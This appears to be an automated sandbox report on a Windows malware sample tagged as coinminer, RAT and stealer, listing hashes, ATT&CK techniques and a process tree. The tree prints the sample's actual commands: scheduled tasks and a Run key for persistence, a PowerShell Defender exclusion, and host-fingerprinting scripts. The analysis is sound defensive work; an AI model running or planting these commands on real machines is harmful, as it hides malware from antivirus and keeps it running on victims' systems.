7256d0e5500f4626c08a9f1a4e5b7ab8727c6867d3ec22f5c40d1bd537d3c211

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/06/2026, 18:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-28_db1354379c220276c102132352348c4b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
Size 9.7MB
Sample260628-xaeakacs7p
SHA256 7256d0e5500f4626c08a9f1a4e5b7ab8727c6867d3ec22f5c40d1bd537d3c211
MD5 db1354379c220276c102132352348c4b
SHA1 e2bd72e0a4dc4db81f0fa8285d9f073bb5b1be6b
SHA512 76dc153c9ce04de1b9543fc41bccd075715e39978034521d5e98bee3c09d5039cd3a0259bfb140a54393df9ee6520af35321534a56e84742dcc69ff77f3b35b1
SSDEEP 98304:ZALq82Qiz0ZOGCGkGvamwSR7EepBJ+0FKysMpF3rQT:ZifvhISeuq0FLpFI
TLSH
T156A66B43EC6514E9C1AD9235C9B386437BB1BC490B3267D32BA0B2387E76BD46DB9314
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1612	powershell.exe
2768	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4268	Microsoft.exe
5316	Microsoft.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LabLoadAgent = "\"C:\\ProgramData\\Microsoft\\Microsoft.exe\""	reg.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
3340	tasklist.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 9 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5664	powershell.exe
5568	powershell.exe
6136	powershell.exe
5948	powershell.exe
4056	powershell.exe
3312	powershell.exe
552	powershell.exe
5584	powershell.exe
5528	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1264	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1404	schtasks.exe
5828	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1612	powershell.exe
1612	powershell.exe
2768	powershell.exe
2768	powershell.exe
3312	powershell.exe
3312	powershell.exe
5664	powershell.exe
5664	powershell.exe
552	powershell.exe
552	powershell.exe
5568	powershell.exe
5568	powershell.exe
6136	powershell.exe
6136	powershell.exe
5584	powershell.exe
5584	powershell.exe
5948	powershell.exe
5948	powershell.exe
5528	powershell.exe
5528	powershell.exe
4056	powershell.exe
4056	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeIncreaseQuotaPrivilege	2768	powershell.exe
Token: SeSecurityPrivilege	2768	powershell.exe
Token: SeTakeOwnershipPrivilege	2768	powershell.exe
Token: SeLoadDriverPrivilege	2768	powershell.exe
Token: SeSystemProfilePrivilege	2768	powershell.exe
Token: SeSystemtimePrivilege	2768	powershell.exe
Token: SeProfSingleProcessPrivilege	2768	powershell.exe
Token: SeIncBasePriorityPrivilege	2768	powershell.exe
Token: SeCreatePagefilePrivilege	2768	powershell.exe
Token: SeBackupPrivilege	2768	powershell.exe
Token: SeRestorePrivilege	2768	powershell.exe
Token: SeShutdownPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeSystemEnvironmentPrivilege	2768	powershell.exe
Token: SeRemoteShutdownPrivilege	2768	powershell.exe
Token: SeUndockPrivilege	2768	powershell.exe
Token: SeManageVolumePrivilege	2768	powershell.exe
Token: 33	2768	powershell.exe
Token: 34	2768	powershell.exe
Token: 35	2768	powershell.exe
Token: 36	2768	powershell.exe
Token: SeIncreaseQuotaPrivilege	2768	powershell.exe
Token: SeSecurityPrivilege	2768	powershell.exe
Token: SeTakeOwnershipPrivilege	2768	powershell.exe
Token: SeLoadDriverPrivilege	2768	powershell.exe
Token: SeSystemProfilePrivilege	2768	powershell.exe
Token: SeSystemtimePrivilege	2768	powershell.exe
Token: SeProfSingleProcessPrivilege	2768	powershell.exe
Token: SeIncBasePriorityPrivilege	2768	powershell.exe
Token: SeCreatePagefilePrivilege	2768	powershell.exe
Token: SeBackupPrivilege	2768	powershell.exe
Token: SeRestorePrivilege	2768	powershell.exe
Token: SeShutdownPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeSystemEnvironmentPrivilege	2768	powershell.exe
Token: SeRemoteShutdownPrivilege	2768	powershell.exe
Token: SeUndockPrivilege	2768	powershell.exe
Token: SeManageVolumePrivilege	2768	powershell.exe
Token: 33	2768	powershell.exe
Token: 34	2768	powershell.exe
Token: 35	2768	powershell.exe
Token: 36	2768	powershell.exe
Token: SeDebugPrivilege	3340	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2768	powershell.exe
Token: SeSecurityPrivilege	2768	powershell.exe
Token: SeTakeOwnershipPrivilege	2768	powershell.exe
Token: SeLoadDriverPrivilege	2768	powershell.exe
Token: SeSystemProfilePrivilege	2768	powershell.exe
Token: SeSystemtimePrivilege	2768	powershell.exe
Token: SeProfSingleProcessPrivilege	2768	powershell.exe
Token: SeIncBasePriorityPrivilege	2768	powershell.exe
Token: SeCreatePagefilePrivilege	2768	powershell.exe
Token: SeBackupPrivilege	2768	powershell.exe
Token: SeRestorePrivilege	2768	powershell.exe
Token: SeShutdownPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeSystemEnvironmentPrivilege	2768	powershell.exe
Token: SeRemoteShutdownPrivilege	2768	powershell.exe
Token: SeUndockPrivilege	2768	powershell.exe
Token: SeManageVolumePrivilege	2768	powershell.exe
Token: 33	2768	powershell.exe
Token: 34	2768	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4580 wrote to memory of 4268	4580	2026-06-28_db1354379c220276c102132352348c4b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe	85
PID 4268 wrote to memory of 6004	4268	Microsoft.exe	86
PID 4268 wrote to memory of 5492	4268	Microsoft.exe	88
PID 4268 wrote to memory of 5724	4268	Microsoft.exe	90
PID 4268 wrote to memory of 6080	4268	Microsoft.exe	92
PID 4268 wrote to memory of 5828	4268	Microsoft.exe	94
PID 4268 wrote to memory of 1404	4268	Microsoft.exe	96
PID 4268 wrote to memory of 1264	4268	Microsoft.exe	98
PID 4268 wrote to memory of 1612	4268	Microsoft.exe	100
PID 4268 wrote to memory of 2768	4268	Microsoft.exe	102
PID 5316 wrote to memory of 3340	5316	Microsoft.exe	107
PID 4268 wrote to memory of 3312	4268	Microsoft.exe	109
PID 4268 wrote to memory of 5664	4268	Microsoft.exe	111
PID 4268 wrote to memory of 552	4268	Microsoft.exe	115
PID 4268 wrote to memory of 5568	4268	Microsoft.exe	117
PID 4268 wrote to memory of 6136	4268	Microsoft.exe	129
PID 4268 wrote to memory of 5584	4268	Microsoft.exe	132
PID 4268 wrote to memory of 5948	4268	Microsoft.exe	134
PID 4268 wrote to memory of 5528	4268	Microsoft.exe	136
PID 4268 wrote to memory of 4056	4268	Microsoft.exe	138

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-06-28_db1354379c220276c102132352348c4b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-28_db1354379c220276c102132352348c4b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4580
- C:\ProgramData\Microsoft\Microsoft.exe
  C:\ProgramData\Microsoft\Microsoft.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4268
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn LabLoadAgent /f
    3⤵
    PID:6004
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn LabLoadAgentBoot /f
    3⤵
    PID:5492
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn MicrosoftAgent /f
    3⤵
    PID:5724
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn MicrosoftAgentBoot /f
    3⤵
    PID:6080
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn LabLoadAgent /tr \"C:\ProgramData\Microsoft\Microsoft.exe\" /sc onlogon /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5828
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn LabLoadAgentBoot /tr \"C:\ProgramData\Microsoft\Microsoft.exe\" /sc onstart /delay 0002:00 /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1404
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v LabLoadAgent /t REG_SZ /d \"C:\ProgramData\Microsoft\Microsoft.exe\" /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:1264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft' -ErrorAction Stop; exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command " $os = Get-CimInstance Win32_OperatingSystem $cpu = Get-CimInstance Win32_Processor | Select-Object -First 1 $cs = Get-CimInstance Win32_ComputerSystem $disk = Get-CimInstance Win32_LogicalDisk -Filter \"DeviceID='C:'\" -ErrorAction SilentlyContinue $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $obj = [ordered]@{ os = $os.Caption osVersion = $os.Version arch = $env:PROCESSOR_ARCHITECTURE cpuModel = ($cpu.Name -replace '\s+', ' ').Trim() cpuCores = [int]$cs.NumberOfLogicalProcessors ramTotalGb = [math]::Round($os.TotalVisibleMemorySize/1MB, 1) ramFreeGb = [math]::Round($os.FreePhysicalMemory/1MB, 1) diskTotalGb = if ($disk) { [math]::Round($disk.Size/1GB, 1) } else { $null } diskFreeGb = if ($disk) { [math]::Round($disk.FreeSpace/1GB, 1) } else { $null } computerName = $env:COMPUTERNAME machineUuid = if ($prod) { $prod.UUID } else { $null } username = $env:USERNAME collectedAt = (Get-Date).ToUniversalTime().ToString(\"o\") } $obj | ConvertTo-Json -Compress "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:3312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:5664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:5568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:6136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:5584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:5948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:5528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    PID:4056

C:\ProgramData\Microsoft\Microsoft.exe
"C:\ProgramData\Microsoft\Microsoft.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5316
- C:\Windows\system32\tasklist.exe
  tasklist /FI "PID eq 4268" /NH
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:3340

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.lab-instance-id

Path C:\ProgramData\Microsoft\.lab-instance-id
Size 137B
SHA256 b31344e533132dbc24004319bb3c5ae47275bcfe7200d373db0ffe10feac3c24
MD5 b310fbb72e06e827cfba723cfa4980cf
SHA1 cc44ec0064d91cdf3ee58574866d30175fd119b2
SHA512 a990b6ad1dda6831c6528f3bb0722f76953d884f56bc497159df6ff7dab6f3ec28f3e3e2e44ba6b19635cc141ed0642ff78824ab7f263c47afa836796f51152a
TLSH
T1C9C0922607BCAD2518D600B8AF362CCF5236C81A86B5539A198DC30D59AB91B20847FA
MD5 SHA1 SHA512 TLSH

Submit Download

Microsoft.exe

Path C:\ProgramData\Microsoft\Microsoft.exe
Size 9.7MB
SHA256 7256d0e5500f4626c08a9f1a4e5b7ab8727c6867d3ec22f5c40d1bd537d3c211
MD5 db1354379c220276c102132352348c4b
SHA1 e2bd72e0a4dc4db81f0fa8285d9f073bb5b1be6b
SHA512 76dc153c9ce04de1b9543fc41bccd075715e39978034521d5e98bee3c09d5039cd3a0259bfb140a54393df9ee6520af35321534a56e84742dcc69ff77f3b35b1
SSDEEP 98304:ZALq82Qiz0ZOGCGkGvamwSR7EepBJ+0FKysMpF3rQT:ZifvhISeuq0FLpFI
TLSH
T156A66B43EC6514E9C1AD9235C9B386437BB1BC490B3267D32BA0B2387E76BD46DB9314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lab-agent.lock

Path C:\ProgramData\Microsoft\lab-agent.lock
Size 4B
SHA256 4c92b97852bfee9020336fd71929b50c7ca9fc7180ed2f647f925af7b844ed1b
MD5 f0f6cc51dacebe556699ccb45e2d43a8
SHA1 234306c0b6eff1f32853a3b76f4a99a47a8e8018
SHA512 9dbfb4f5099c53130e791e7043e73a304da25150bc4c6d6eddc5bb3d99584e848a7cd64c1ea902e07fbe8502057858f1ecd8ed6f7f273d3973ee8f58b9c20dcb
MD5 SHA1 SHA512

Submit Download

lab-agent.log

Path C:\ProgramData\Microsoft\lab-agent.log
Size 295B
SHA256 3dfff3d5ded0ddfb8f1cfe769e3424104db03094e6cbd16f6bb512b96bc50fc2
MD5 427f80fc33326d55795684b0c9ad9c78
SHA1 d56a0e560b42ed489ebf98077148e308e86e77dc
SHA512 cafebf20c12bb4e9c06ab65f90df75f3c534574723326f536ee9085862102b2db1e787f951c2baa0e2ebcbc8025a01de38e7d8f70ec7a6c677f3cc328c7d8aaa
TLSH
T1ECE0CD3244DB6707941E3501CA5A9E0C8198B5CF664ADD19C36DE1CF2061B4FFDD8383
MD5 SHA1 SHA512 TLSH

Submit Download

server.json

Path C:\ProgramData\Microsoft\server.json
Size 37B
SHA256 4fbd89fdb1e2109b5483673fcfcbb7c683fe776d1fc18654826a9557304ed6fb
MD5 1f4ce19048b348eb101c08f7de8baa55
SHA1 2259ce22144b5862e8fe6f986acb786f5440e17c
SHA512 440108d243d79c12e1dc0a9055d073da2e52b7c6baf7eb5ca0faf6976d5caacfca525ea98670d36136ce58fe5fbc65a1714619123c6075ca05d4ae03f769e031
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download